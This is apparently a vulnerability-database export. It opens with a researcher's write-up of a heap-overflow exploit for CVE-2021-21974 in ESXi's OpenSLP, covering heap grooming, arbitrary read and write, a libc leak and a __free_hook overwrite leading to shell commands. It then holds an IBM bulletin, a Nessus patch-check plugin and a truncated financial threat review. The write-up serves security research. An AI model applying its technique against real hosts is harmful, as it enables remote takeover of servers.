SOCKET_PENDING_IO\n#define STREAM_WRITE_WAIT 12 + SOCKET_PENDING_IO\n````\n\nSocket states constants defined in OpenSLP source code\n\nIt is important to understand the properties of _SLPSocket, _SLPBuffer and\nSocket States because the exploitation process requires modifying those\nvalues.\n\n# Objectives, Expectations and Limitations\n\nThis section goes over objectives required to land a successful exploitation.\n\n## Objective 1\n\nAchieve remote code execution by leveraging the heap overflow to overwrite the\n'__free_hook' to point to shellcode or ROP chain.\n\n## Expectation 1\n\nIf I can overwrite the 'position' pointers in a _SLPBuffer 'recv-buffer'\nobject, I can force incoming data to the server to be written to arbitrary\nmemory location.\n\n## Objective 2\n\nIn order to know the address of '__free_hook', I have to leak an address\nreferencing the libc library.\n\n## Expectation 2\n\nIf I can overwrite the 'position' pointers in a _SLPBuffer 'send-buffer'\nobject, I can force outgoing data from the server to read from arbitrary\nmemory location.\n\nNow that I defined goals and objectives, I have to identify any limitations\nwith the heap overflow vector and memory allocation in general.\n\n## Limitations\n\n 1. 'URL' data stored in the \"Directory Agent Advertisement's URL\" object cannot contain null bytes (due to the 'strstr' function). This limitation prevents me from directly overwriting meta-data within an adjacent '_SLPDSocket' or '_SLPBuffer' object because I would have to supply an invalid size value for the objects' heap header before reaching those properties.\n 2. The 'slpd' binary allocates '_SLPDSocket' and '_SLPBuffer' objects with 'calloc'. The 'calloc' call will zero out the allocated memory slot. This limitation removes all past data of a memory slot which could contain interesting pointers or stack addresses. This looks like a show stopper because if I was to overwrite a 'position' pointer in a _SLPBuffer, I would need to know a valid address value. Since I don't know such value, the next best thing I can do is partially overwrite a 'position' pointer to at least get me in a valid address range that could be meaningful. With 'calloc' zeroing everything out, I lose that opportunity.\n\nFortunately, not all is lost. As shared in Lucas' blog post, I can still get\naround the limitations.\n\n## Limitations Bypass\n\n 1. Use the heap overflow to partially overwrite the adjacent free memory chunk's size to extend it. By extending the free chunk, I can have it position to overlap with its neighbor '_SLPDSocket' or '_SLPBuffer' object. When I allocate memory that occupies the extended free space, I can overwrite the object's properties.\n 2. The 'calloc' call will retain past data of a memory slot if it was previously marked as '[IS_MAPPED](https://github.com/apc-llc/glibc-2.17/blob/master/malloc/malloc.c#L3189)' when it was still freed. The key thing is the 'calloc' call must request a chunk size that is an **exact size** as the freed slot with 'IS_MAPPED' flag enabled to preserve its old data. If a 'IS_MAPPED' freed chunk is splitted up by a 'calloc' request, the 'calloc' will service a chunk without the 'IS_MAPPED' flag and zero out the slot's content.\n\nThere is still one more catch. Even if I can mark arbitrary position to store\nor read data for the _SLPBuffer, the 'slpd' binary will not comply unless\nassociated socket state is set to the proper status. Therefore, the heap\noverflow will also have to overwrite the associated _SLPDSocket object's meta-\ndata in order to get arbitrary read and write primitive to work.\n\n# Heap Grooming\n\nThis sections goes over the heap grooming strategy to achieve the following:\n\n\n\n![]()\n\n## The Building Blocks\n\nBefore I go over the heap grooming design, I want to say a few words about the\npurpose of the SLP messages mentioned earlier in fitting into the exploitation\nprocess.\n\n **service request** -- primarily use for creating a consecutive heap layout\nand holes.\n\n **directory agent advertisement** -- use to trigger the heap overflow vector\nto overwrite into the next neighbor memory block.\n\n **service registration** -- store user controlled data into the memory\ndatabase which will be retrieved through the 'attribute request' message. This\nmessage is solely to set up 'attribute request' and is not used for the\npurpose of heap grooming.\n\n **attribute request** -- pull user controlled data from the memory database.\nIts purpose is to create a 'marker' that can be used to identify current\nposition during the information leak stage. Also, the dynamic memory use to\nstore the user controlled data can be a good stack pivot spot with complete\nuser controllable content.\n\n## Overwrite _SLPBuffer 'send-buffer' object (Arbitrary Read Primitive)\n\n\n\n(1). Client A, B, and C create connections to server. Client A sends 'service\nrequest' message. Client D creates connection and sends 'service request'\nmessage. Client B sends 'service request' message.\n\n\n\n(2). Close client D's connection.\n\n\n\n(3). Client E creates a connection and sends an 'attribute request' message.\n\n\n\n(4). Client E's 'send-buffer' will go through reallocation because the data is\ntoo large.\n\n\n\n(5). Client E's connection is still intact and not closed, however, the\n'message' object is now freed.\n\n\n\n(6). Client G and H creates connection to server. Client C will now send a\n'service request' to fill the hole left by Client E's 'send-buffer'\nreallocation and freed 'message'.\n\n\n\n(7). Close client B's connection.\n\n\n\n(8). Client F creates connection to server and sends a 'directory agent\nadvertisement' message. This leaves a freed 0x100 size chunk right after the\n'URL' object for extension and overlapping.\n\n\n\n(9). The 'URL' object extended its neighboring freed chunk size from 0x100 to\n0x120. The server will free the allocated objects initiated by client F. It\ncan be observed that all objects related to client F are freed and\nconsolidated. The 'URL' object is freed as well, but because its size fits in\nthe fast-bin, the 'URL' object did not get coalesced.\n\n\n\n(10). Client G sends a 'service request' message. The first-fit algorithm will\nassign the extended free block to client G's 'recv-buffer' object. This object\noverlaps with client E's 'send-buffer', which can now overwrite the 'position'\npointers in it.\n\n\n\n(11). Client J creates connection to server and sends a 'service request'\nmessage. Its purpose is to fill up the hole left by client F's 'directory\nagent advertisement' message.\n\n\n\n(12). Close client A's connection.\n\n\n\n(13). Client I creates connection to server and sends a 'directory agent\nadvertisement' message.\n\n\n\n(14). The 'URL' object extended its neighboring freed chunk size from 0x100 to\n0x140. The server will free the allocated objects initiated by client I. It\ncan be observed that all objects related to client I are freed and\nconsolidated. The 'URL' object is freed as well, but because its size fits in\nthe fast-bin, the 'URL' object did not get coalesced.\n\n\n\n(15). Client H's sends a 'service request' message. The first-fit algorithm\nwill assign the extended free block to client H's 'recv-buffer' object. This\nobject overlaps with client E's 'slpd-socket', which can now overwrite the\nproperties in it.\n\n## Overwrite _SLPBuffer 'recv-buffer' object (Arbitrary Write Primitive)\n\n\n\n(1). Client A creates connection to server and sends 'service request'\nmessage. Client B creates connection only. Client C creates connection and\nsends 'service request' message. Client B now sends 'service request' message.\nClient D and E create connections to server.\n\n\n\n(2). Close client C's connection.\n\n\n\n(3). Client F creates connection to server and sends a 'directory agent\nadvertisement' message. This leaves a freed 0x100 size chunk right after the\n'URL' object for extension and overlapping.\n\n\n\n(4). The 'URL' object extended its neighboring freed chunk size from 0x100 to\n0x140. The server will free the allocated objects initiated by client F. It\ncan be observed that all objects related to client F are freed and\nconsolidated. The 'URL' object is freed as well, but because its size fits in\nthe fast-bin, the 'URL' object did not get coalesced.\n\n\n\n(5). Client E sends a 'service request' message. The first-fit algorithm will\nassign the extended free block to client E's 'recv-buffer' object. This object\noverlaps with client B's 'recv-buffer', which can now overwrite the 'position'\npointers in it.\n\n\n\n(6). Client G creates connection to server and sends a 'service request'\nmessage. Its purpose is to fill up the hole left by client F's 'directory\nagent advertisement' message.\n\n\n\n(7). Close client A's connection.\n\n\n\n(8). Client H creates connection to server and sends a 'directory agent\nadvertisement' message. This leaves a freed 0x100 size chunk right after the\n'URL' object for extension and overlapping.\n\n\n\n(9). The 'URL' object extends its neighboring freed chunk from 0x100 to 0x140.\nThe server will free the allocated object initiated by client H. It can be\nobserved that all objects related to client H are freed and consolidated. The\n'URL' object is freed as well, but because its size fits in the fast-bin, the\n'URL' object did not get coalesced.\n\n\n\n(10). Client D sends a 'service request' message. The first-fit algorithm will\nassign the extended free block to client D's 'recv-buffer' object. This object\noverlaps with client B's 'slpd-socket', which can now overwrite the properties\nin it.\n\nThe above visual heap layouts is created with\n[villoc](https://github.com/wapiflapi/villoc).\n\n# Exploitation Strategy Walkthrough\n\nIt is best to look at the [exploit code](https://github.com/straightblast/My-\nPoC-Exploits/blob/master/CVE-2021-21974.py) along with following the below\nnarration to understand how the exploit works.\n\n 1. Client 1 sends a 'directory agent advertisement' request to prepare for any unexpected memory allocation that may happen for this particular request. I observed the request makes additional memory allocation when the 'slpd' daemon is run on startup but does not when running it through /etc/init.d/slpd start. Any unexpected memory allocation would eventually be freed and end up on the freelist. The assumptions is these unique freed slots will be used again by future 'directory agent advertisement' messages as long as I do not explicitly allocate memory that would hijack them.\n 2. Clients 2-5 makes a 'service request' with each receiving buffer having a size of 0x40. This is to fill up some initial freed slots that exists on the freelist. If i don't occupy these freed slot, it would hijack future 'URL' memory allocation for future 'directory agent advertisement' message and ruin the heap grooming.\n 3. Clients 6-10 sets up client 7 to send the 'service registration' message to the server. The server only accepts 'service registration' message originating from localhost, therefore client 7's 'slpd-socket' needs to be overwritten to have its IP address updated. Once the message is sent, client 7's socket object will be updated again to hold the listening file descriptor to handle future incoming connection. If this step is skipped, future clients cannot establish connection with the server.\n 4. Clients 11-21 sets up the arbitrary read primitive by overwriting client 15's 'send-buffer' position pointers. Since I have no knowledge of what addresses to leak in the first place, I will perform a partial overwrite of the last two significant bytes of the 'start' position pointer with null values. This requires setting up the extended free chunk to be marked 'IS_MAPPED' to avoid getting zeroed out by the 'calloc' call. The 'send-buffer' that gets updated belongs to the 'attribute request' message. As I have no visibility to how much data will be leaked, I can get a ballpark idea of where the leak is at by including a marker value as part of the 'service registration' message noted in step 3. If the leaked content contains the marker, I know it is leaking data from the 'attribute request' 'send-buffer' object. This tells me it is about time to stop reading from the leak. Lastly, I have to update client 15's 'slpd-socket' to have its state to be in 'STREAM_WRITE', which will makes the 'send' call to my client.\n 5. I was able to collect heap addresses and libc addresses from the leak which I can derive everything else. My goal is to overwrite libc's __free_hook with libc's system address. I will need a gadget to position my stack at a location that won't be subject to alteration by the application. I found a gadget from libc-2.17.so that will stack lift the stack address by 0x100.\n 6. With the collected libc address, I can calculate the libc environment address which stores the stack address. I use clients 22-31 to setup the arbitrary read primitive to leak the stack address. I have to update client 25's file descriptor in the 'slpd-socket' to hold the listening file descriptor.\n 7. Clients 32-40 sets up the arbitrary write primitive. This requires overwriting client 33's 'recv-buffer' object's position pointers. It first stores shell commands into client 15's 'send-buffer' object, which is a large slab of space under my control. It then writes the libc's system address, a fake return address, and the address of the shell command onto the predicted stack location after stack lifting is performed. Afterwards, it overwrites libc's __free_hook to hold the stack lifting gadget address. Lastly, each arbitrary write requires updating the corresponding 'slpd-socket' object state to 'STREAM_READ'. If this step is skipped, the server will not accept the overwritten values for the position pointers.\n 8. The desired shell commands will be executed once all the above steps are completed.\n\n# Final Remark\n\nI enjoyed implementing this exploit very much and learned a few things when\nwriting it. One of the biggest thing I learn is never make an assumption and\nshould always test an idea out. When I was trying to get the leaking data part\nof the exploit code to work, I was preparing to implement it the way Lucas\ndescribed in his blog, which seems slightly complicated. I was curious as to\nwhy I can't just flip the socket object's state to 'STREAM_WRITE' which send\nthe data back to me. After reviewing the OpenSLP code, I understand the\nproblem and see why Lucas came up with his particular solution. Nevertheless,\nI still wanted to see what happens if I just flip the state on the socket\nobject, and to my disbelief, the daemon did send me the leaked data\nimmediately without going through the additional hurdles. Another take away is\nwhen doing any heap grooming design, it is best to work it backward from how I\nwant the heap to look in its finished form, and back track the layout to the\nbeginning.\n\nThe PoC should work out of the box against VMware ESXi 6.7.0 build-14320388,\nwhich is the trial version. I was able to get it to work 14 out of 15 tries.", "cvss3": {}, "published": "2021-05-25T00:00:00", "type": "seebug", "title": "ESXi OpenSLP\u5806\u6ea2\u51fa\u6f0f\u6d1e\uff08CVE-2021-21974\uff09", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-3992", "CVE-2021-21974"], "modified": "2021-05-25T00:00:00", "id": "SSV:99259", "href": "https://www.seebug.org/vuldb/ssvid-99259", "sourceData": "", "sourceHref": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "ibm": [{"lastseen": "2023-06-06T14:53:34", "description": "## Summary\n\nMultiple vulnerabilities were found in VMware, a bundling product shipped with IBM Cloud Pak System. IBM Cloud Pak System addressed applicable CVEs.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2020-3982](<https://vulners.com/cve/CVE-2020-3982>) \n** DESCRIPTION: **VMware ESXi, Workstation and Fusion are vulnerable to a denial of service, caused by an out-of-bounds write vulnerability due to a time-of-check time-of-use issue in ACPI device. An attacker could exploit this vulnerability to crash the virtual machine&#39;s vmx process or corrupt hypervisor&#39;s memory heap. \nCVSS Base score: 5.9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/190040](<https://exchange.xforce.ibmcloud.com/vulnerabilities/190040>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N) \n \n** CVEID: **[CVE-2020-3981](<https://vulners.com/cve/CVE-2020-3981>) \n** DESCRIPTION: **VMware ESXi, Workstation and Fusion could allow a local attacker to obtain sensitive information, caused by an out-of-bounds read vulnerability due to a time-of-check time-of-use issue in ACPI device. An attacker could exploit this vulnerability to leak memory from the vmx process. \nCVSS Base score: 7.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/190039](<https://exchange.xforce.ibmcloud.com/vulnerabilities/190039>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Cloud Pak System| V2.3 \n \n## Remediation/Fixes\n\nFor unsupported versions the recommendation is to upgrade to supported version of the product.\n\nVulnerabilities identfied in VMware ESxI. Cloud Pak System shipped new ESxI image in response to CVE-2020-3982, CVE-2020-3981, including CVE-2020-3992.\n\nFor Cloud Pak System V2.3.0.1, V2.3.1.1, V2.3.2.0, V2.3.3.0, V2.3.3.1, V2.3.3.2,\n\nUpgrade to Cloud Pak System v2.3.3.3 and apply V2.3.3.3 Interim Fix 01 at [Fix Central](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=PureSystems&product=ibm/WebSphere/IBM+Cloud+Pak+System&release=2.3.3.3&platform=All&function=all>).\n\n \n\n\nFor Cloud Pak System V2.3.3.3,\n\nApply Cloud Pak System V2.3.3.3 Interim Fix 01 at [Fix Central](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=PureSystems&product=ibm/WebSphere/IBM+Cloud+Pak+System&release=2.3.3.3&platform=All&function=all>).\n\ninformation on upgrading available at <http://www.ibm.com/support/docview.wss?uid=ibm10887959>\n\n \n\n\n \n\n\n## Workarounds and Mitigations\n\nFor OpenSLP as used in ESXi has a use-after-free issue (CVE-2020-3992) consult [KB76372](<https://kb.vmware.com/s/article/76372>). \n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-19T12:35:03", "type": "ibm", "title": "Security Bulletin: Multiple vulnerabilities in VMware affect IBM Cloud Pak System", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-3981", "CVE-2020-3982", "CVE-2020-3992"], "modified": "2021-07-19T12:35:03", "id": "2479067628CEF724CBC4ECA0FE7E784205E265CC04CD14A5E57D48BBFC351459", "href": "https://www.ibm.com/support/pages/node/6452221", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "nessus": [{"lastseen": "2023-11-19T15:03:21", "description": "a. ESXi OpenSLP remote code execution vulnerability (CVE-2020-3992)\n\nOpenSLP as used in ESXi has a use-after-free issue. A malicious actor residing in the management network who has access to port 427 on an ESXi machine may be able to trigger a use-after-free in the OpenSLP service resulting in remote code execution.\n\nc. TOCTOU out-of-bounds read vulnerability (CVE-2020-3981)\n\nVMware ESXi contains an out-of-bounds read vulnerability due to a time-of-check time-of-use issue in ACPI device. A malicious actor with administrative access to a virtual machine may be able to exploit this issue to leak memory from the vmx process.\n\nd. TOCTOU out-of-bounds write vulnerability (CVE-2020-3982)\n\nVMware ESXi contains an out-of-bounds write vulnerability due to a time-of-check time-of-use issue in ACPI device. A malicious actor with administrative access to a virtual machine may be able to exploit this vulnerability to crash the virtual machine's vmx process or corrupt hypervisors memory heap.\n\nf. VMCI host driver memory leak vulnerability (CVE-2020-3995)\n\nThe VMCI host drivers used by VMware hypervisors contain a memory leak vulnerability. A malicious actor with access to a virtual machine may be able to trigger a memory leak issue resulting in memory resource exhaustion on the hypervisor if the attack is sustained for extended periods of time.", "cvss3": {}, "published": "2020-10-21T00:00:00", "type": "nessus", "title": "VMSA-2020-0023 : VMware ESXi, Workstation, Fusion and NSX-T updates address multiple security vulnerabilities", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2020-3981", "CVE-2020-3982", "CVE-2020-3992", "CVE-2020-3995"], "modified": "2022-01-24T00:00:00", "cpe": ["cpe:/o:vmware:esxi:6.5", "cpe:/o:vmware:esxi:6.7", "cpe:/o:vmware:esxi:7.0"], "id": "VMWARE_VMSA-2020-0023.NASL", "href": "https://www.tenable.com/plugins/nessus/141757", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from VMware Security Advisory 2020-0023. \n# The text itself is copyright (C) VMware Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(141757);\n script_version(\"1.8\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/01/24\");\n\n script_cve_id(\"CVE-2020-3981\", \"CVE-2020-3982\", \"CVE-2020-3992\", \"CVE-2020-3995\");\n script_xref(name:\"VMSA\", value:\"2020-0023\");\n script_xref(name:\"IAVA\", value:\"2020-A-0468\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/05/03\");\n\n script_name(english:\"VMSA-2020-0023 : VMware ESXi, Workstation, Fusion and NSX-T updates address multiple security vulnerabilities\");\n script_summary(english:\"Checks esxupdate output for the patches\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\n\"The remote VMware ESXi host is missing one or more security-related\npatches.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"a. ESXi OpenSLP remote code execution vulnerability (CVE-2020-3992)\n\nOpenSLP as used in ESXi has a use-after-free issue. A malicious actor\nresiding in the management network who has access to port 427 on an\nESXi machine may be able to trigger a use-after-free in the OpenSLP\nservice resulting in remote code execution.\n\nc. TOCTOU out-of-bounds read vulnerability (CVE-2020-3981)\n\nVMware ESXi contains an out-of-bounds read vulnerability due to a\ntime-of-check time-of-use issue in ACPI device. A malicious actor with\nadministrative access to a virtual machine may be able to exploit this\nissue to leak memory from the vmx process.\n\nd. TOCTOU out-of-bounds write vulnerability (CVE-2020-3982)\n\nVMware ESXi contains an out-of-bounds write vulnerability due to a\ntime-of-check time-of-use issue in ACPI device. A malicious actor with\nadministrative access to a virtual machine may be able to exploit this\nvulnerability to crash the virtual machine's vmx process or corrupt\nhypervisors memory heap.\n\nf. VMCI host driver memory leak vulnerability (CVE-2020-3995)\n\nThe VMCI host drivers used by VMware hypervisors contain a memory leak\nvulnerability. A malicious actor with access to a virtual machine may\nbe able to trigger a memory leak issue resulting in memory resource\nexhaustion on the hypervisor if the attack is sustained for extended\nperiods of time.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://lists.vmware.com/pipermail/security-announce/2020/000511.html\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Apply the missing patches.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-3992\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:vmware:esxi:6.5\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:vmware:esxi:6.7\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:vmware:esxi:7.0\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/10/20\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/10/20\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/10/21\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2020-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"VMware ESX Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/VMware/release\", \"Host/VMware/version\");\n script_require_ports(\"Host/VMware/esxupdate\", \"Host/VMware/esxcli_software_vibs\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"vmware_esx_packages.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/VMware/release\")) audit(AUDIT_OS_NOT, \"VMware ESX / ESXi\");\nif (\n !get_kb_item(\"Host/VMware/esxcli_software_vibs\") &&\n !get_kb_item(\"Host/VMware/esxupdate\")\n) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ninit_esx_check(date:\"2020-10-20\");\nflag = 0;\n\n\nif (esx_check(ver:\"ESXi 6.5\", vib:\"VMware:esx-base:6.5.0-3.146.17097218\")) flag++;\nif (esx_check(ver:\"ESXi 6.5\", vib:\"VMware:esx-tboot:6.5.0-3.143.16901156\")) flag++;\nif (esx_check(ver:\"ESXi 6.5\", vib:\"VMware:vsan:6.5.0-3.146.17067204\")) flag++;\nif (esx_check(ver:\"ESXi 6.5\", vib:\"VMware:vsanhealth:6.5.0-3.146.17067206\")) flag++;\n\nif (esx_check(ver:\"ESXi 6.7\", vib:\"VMware:esx-base:6.7.0-3.120.16773714\")) flag++;\nif (esx_check(ver:\"ESXi 6.7\", vib:\"VMware:esx-update:6.7.0-3.123.17098360\")) flag++;\nif (esx_check(ver:\"ESXi 6.7\", vib:\"VMware:vsan:6.7.0-3.123.17067304\")) flag++;\nif (esx_check(ver:\"ESXi 6.7\", vib:\"VMware:vsanhealth:6.7.0-3.123.17067305\")) flag++;\n\nif (esx_check(ver:\"ESXi 7.0\", vib:\"VMware:cpu-microcode:7.0.1-0.10.17119627\")) flag++;\nif (esx_check(ver:\"ESXi 7.0\", vib:\"VMware:crx:7.0.1-0.10.17119627\")) flag++;\nif (esx_check(ver:\"ESXi 7.0\", vib:\"VMware:esx-base:7.0.1-0.10.17119627\")) flag++;\nif (\n esx_check(\n ver : \"ESXi 7.0\",\n vib : \"VMware:esx-dvfilter-generic-fastpath:7.0.1-0.10.17119627\"\n )\n) flag++;\nif (esx_check(ver:\"ESXi 7.0\", vib:\"VMware:esx-ui:1.34.4-0.0.16668064\")) flag++;\nif (esx_check(ver:\"ESXi 7.0\", vib:\"VMware:esx-update:7.0.1-0.0.16850804\")) flag++;\nif (esx_check(ver:\"ESXi 7.0\", vib:\"VMware:esx-xserver:7.0.1-0.10.17119627\")) flag++;\nif (esx_check(ver:\"ESXi 7.0\", vib:\"VMware:gc:7.0.1-0.10.17119627\")) flag++;\nif (esx_check(ver:\"ESXi 7.0\", vib:\"VMware:loadesx:7.0.1-0.0.16850804\")) flag++;\nif (esx_check(ver:\"ESXi 7.0\", vib:\"VMware:native-misc-drivers:7.0.1-0.10.17119627\")) flag++;\nif (esx_check(ver:\"ESXi 7.0\", vib:\"VMware:vdfs:7.0.1-0.10.17119627\")) flag++;\nif (esx_check(ver:\"ESXi 7.0\", vib:\"VMware:vsan:7.0.1-0.10.17119627\")) flag++;\nif (esx_check(ver:\"ESXi 7.0\", vib:\"VMware:vsanhealth:7.0.1-0.10.17119627\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:esx_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 0.0, "vector": "NONE"}}], "securelist": [{"lastseen": "2021-11-25T08:40:17", "description": "\n\nFirst of all, we are going to analyze [the forecasts we made ](<https://securelist.com/cyberthreats-to-financial-organizations-in-2021/99591/>)at the end of 2020 and see how accurate they were. Then we will go through the key events of 2021 relating to attacks on financial organizations. Finally, we will make some forecasts about financial attacks in 2022.\n\n## Analysis of forecasts for 2021\n\n * _The COVID-19 pandemic is likely to cause a massive wave of poverty, and that invariably translates into more people resorting to crime, including cybercrime. We might see certain economies crashing and local currencies plummeting, which would make Bitcoin theft a lot more attractive. We should expect more fraud, [targeting mostly BTC](<https://securelist.com/ghimob-tetrade-threat-mobile-devices/99228/>), because this cryptocurrency is the most popular._\n\n**Yes.** Data from the [Brazilian Federation of Banks](<https://noomis.febraban.org.br/videos/brasileiros-temem-fraudes-e-veem-alta-nas-violacoes-de-dados-indica-estudo>) registered a considerable increase in crime (such as explosions at bank branches to steal money) and cybercrime (increased phishing and social-engineering attacks) against banking customers and banking infrastructure. Of course, this is the result of economic problems caused by the pandemic.\n\nIn addition, bitcoin ended 2020 at around $28,000 and quickly rose to a peak of $40,000 in January 2021. Currently, at a value of approximately $60,000, cybercriminals have adapted their malware to monitor the operating system's clipboard and redirect funds to addresses under their control. In fact, from January through the end of October, Kaspersky detected more than 2,300 fraudulent global resources aimed at 85,000 potential crypto investors or users who are interested in cryptocurrency mining. The lockdown's effect on the global economy is leading emerging markets and different regions to adopt cryptocurrency as legal tender or at least as a way of storing value during these times.\n\n * _MageCart attacks moving to the server side. We can see that the number of threat actors that rely on client-side attacks (JavaScript) is diminishing by the day. It is reasonable to believe that there will be a shift to the server side._\n\n**Yes.** Magecart Group 12, known for skimming payment information from online shoppers, now uses PHP web shells to gain remote administrative access to the sites under attack to steal credit card data, rather than using their previously favored JavaScript code. A file that attempts to pass itself as 'image/png' but does not have the proper .PNG format loads a PHP web shell in compromised sites by replacing the legitimate shortcut icon tags with a path to the fake .PNG file. The web shell is harder to detect and block because [it injects the skimmer code on the server-side rather than the client-side](<https://threatpost.com/magecart-server-side-itactics-changeup/166242/>).\n\n * _A re-integration and internalization of operations inside the cybercrime ecosystem: the major players on the cybercrime market and those who made enough profit will mostly rely on their own in-house development, reducing outsourcing to boost their profits._\n\n**Yes.** Lots of groups recruited numerous affiliates, but this approach comes with the potential problems of human error and leaks. To boost their profits and depend less on outsourcing, some groups such as Revil even [scammed their affiliates](<https://www.bankinfosecurity.com/blogs/revil-ransomware-groups-latest-victim-its-own-affiliates-p-3125>), adding a backdoor capable of hijacking negotiations with victims and taking the 70% of the ransom payments that is supposed to go to the affiliates.\n\nThe Conti Gang was another group that also had issues with their associates when an apparently vengeful affiliate [leaked the ransomware group's playbook](<https://threatpost.com/affiliate-leaks-conti-ransomware-playbook/168442/>) after claiming the notorious cybercriminal organization underpaid him for doing its dirty work. The data revealed in the post included the IP addresses for the group's Cobalt Strike command-and-control servers (C2s) and a 113MB archive containing numerous tools and training materials explaining how Conti performs ransomware attacks.\n\n * _Advanced threat actors from countries placed under economic sanctions may rely more on ransomware imitating cybercriminal activity. They may reuse publicly available code or create their own campaigns from scratch._\n\n**Yes.** In April 2021, the Andariel group attempted to spread custom Ransomware. According to the Korean Financial Security Institute, Andariel is a [sub-group of the Lazarus](<https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1138.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory=>) threat actor. Interestingly, one victim was found to have received ransomware after the third stage payload. This [ransomware](<https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/>) sample is custom made and developed explicitly by the threat actor behind this attack. This ransomware is controlled by command line parameters and can either retrieve an encryption key from the C2 or an argument at launch time.\n\n * _As ransomware groups continue to maximize profits, we should expect to see the use of 0-day exploits as well as N-day exploits in upcoming attacks. These groups will purchase both to expand the scale of their attacks even further, boosting their success rate, and resulting in more profit._\n\n**Definitely yes.** We saw many attacks using N-days, such as the attack that targeted the [Brazilian Supreme Court](<https://www.bleepingcomputer.com/news/security/brazils-court-system-under-massive-ransomexx-ransomware-attack/>) (exploiting vulnerabilities in VMWare ESXI (CVE-2019-5544 and CVE-2020-3992). Also, many groups relied on vulnerabilities in VPN servers. Threat actors conducted a series of attacks using the Cring ransomware. An incident investigation [conducted](<https://ics-cert.kaspersky.com/reports/2021/04/07/vulnerability-in-fortigate-vpn-servers-is-exploited-in-cring-ransomware-attacks/>) by Kaspersky ICS CERT at one of the attacked enterprises revealed that they exploited a vulnerability in FortiGate VPN servers (CVE-2018-13379).\n\nWe also saw attackers relying on 0-days. Probably the most impactful was the Kaseya compromise, using supply-chain vulnerabilities to distribute ransomware (CVE-2021-30116). Another impressive attack, also relying on supply-chain compromise, [was against BQE Software](<https://www.bleepingcomputer.com/news/security/hackers-used-billing-software-zero-day-to-deploy-ransomware/>), the company behind billing software BillQuick, which claims to have a 400,000 strong user base worldwide. An unknown 